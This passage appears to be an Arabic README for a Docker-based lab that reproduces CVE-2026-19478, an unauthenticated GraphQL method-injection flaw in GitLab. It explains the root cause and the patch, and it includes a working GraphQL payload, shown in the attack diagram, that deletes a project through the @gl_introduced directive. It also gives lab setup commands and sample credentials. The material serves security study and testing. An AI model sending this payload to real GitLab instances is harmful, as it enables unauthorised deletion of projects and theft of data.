
مختبر استغلال وسكربت مُعبّآن في حاويات Docker لثغرة CVE-2026-19478، وهي حقن كود GraphQL حرِج وغير مصادق عليه في GitLab يتيح استدعاء دوال Ruby بشكل عشوائي، وحذف المشاريع، واستخراج البيانات.
حقن كود عن بُعد بدون مصادقة عبر توجيه GraphQL في GitLab CE/EE — احذف أي مشروع عام بطلب HTTP واحد
مختبر اختبار اختراق عملي يعيد إنتاج CVE-2026-19478، وهي ثغرة حرجة (CVSS 9.4) في واجهة GraphQL API الخاصة بـ GitLab. يسمح توجيه @gl_introduced للمهاجمين غير المصادَق عليهم بتنفيذ أساليب Ruby عشوائية على الكائنات في جانب الخادم — بما في ذلك حذف المشاريع، واستخراج البيانات، ونقل الملكية — بدون أي مصادقة.
يشغّل هذا المختبر نسخة حقيقية وضعيفة من GitLab CE 19.2.0 داخل Docker لممارسة استغلال واقعية.
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-19478 |
| درجة CVSS | 9.4 (حرجة) |
| المنتج | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| نوع الثغرة | حقن كود / تنفيذ أساليب عشوائية (CWE-94) |
| متجه الهجوم | الشبكة (عن بُعد) |
| المصادقة | غير مطلوبة |
| تفاعل المستخدم | لا شيء |
| تعقيد الهجوم | منخفض |
| الإصدارات المتأثرة | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| الإصدارات المُصحَّحة | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| مكتشف الثغرة | hiimguardian (عبر HackerOne) |
| تاريخ التصحيح | 17 أغسطس 2026 |
يمكن لمهاجم عن بُعد بدون مصادقة أن:
يستخدم GitLab توجيه GraphQL مخصصًا @gl_introduced(version: "X.Y") لدعم النشر المتدرج (rolling deployments). عندما يضيف إصدار أحدث من GitLab حقلًا إلى واجهة GraphQL API، تتعامل النسخ الأقدم مع الاستعلامات التي تشير إلى تلك الحقول الجديدة بسلاسة عبر إرجاع null بدلًا من إحداث خطأ.
الملف: lib/gitlab/graphql/version_filter/future_field_fallback.rb (الأسطر 14-36)
التحليل خطوة بخطوة:
FutureFieldFilter يفحص استعلامات GraphQL الواردة. عندما يحتوي حقل على @gl_introduced(version) بإصدار أحدث من إصدار الخادم الحالي، يقوم بإزالة الحقل وتعيين context[:contain_future_fields] = true.
IntroducedTracer يستعيد مستند الاستعلام الأصلي في وقت التنفيذ، معيدًا الحقول المُزالة إلى شجرة الصياغة المجردة (AST).
FutureFieldFallback#get_field يعترض كل عملية بحث عن حقل أثناء التنفيذ. يتحقق من ثلاثة شروط:
contain_future_fields مضبوطة؟ ✅__؟ ✅عندما تنجح الفحوصات الثلاثة جميعها، يُنشئ حقلًا جديدًا GraphQL::Schema::Field بدون فئة محلل (resolver class).
في graphql-ruby، يُحلَّ الحقل الذي لا يحتوي على محلل عبر استدعاء object.public_send(field_name) على كائن Ruby الأساسي — محوّلًا اسم حقل المهاجم إلى استدعاء أسلوب عشوائي على نموذج Project من نوع ActiveRecord.
يستبدل تصحيح GitLab الإرسال الضمني للأساليب بمحلل صريح NilResolver يعيد nil دون شروط، مما يحافظ على التوافق مع النشر المتدرج مع القضاء على تنفيذ الأساليب العشوائية:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie لاختبار واجهة API# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
| الخدمة | URL | بيانات الاعتماد |
|---|---|---|
| واجهة ويب GitLab | http://localhost | root / P@ssw0rd123! |
| واجهة GraphQL API | http://localhost/api/graphql | غير مطلوبة |
| مستكشف GraphQL | http://localhost/-/graphql-explorer | مطلوب تسجيل الدخول |
| SSH | localhost:2222 | — |
للأجهزة ذات الموارد المحدودة أو لبدء تشغيل أسرع:
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
# Stop the lab
docker compose down
# Full reset (removes all data volumes)
docker compose down -v
تحقق من إصدار الخادم:
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
عدد المشاريع العامة عبر GraphQL (بدون مصادقة):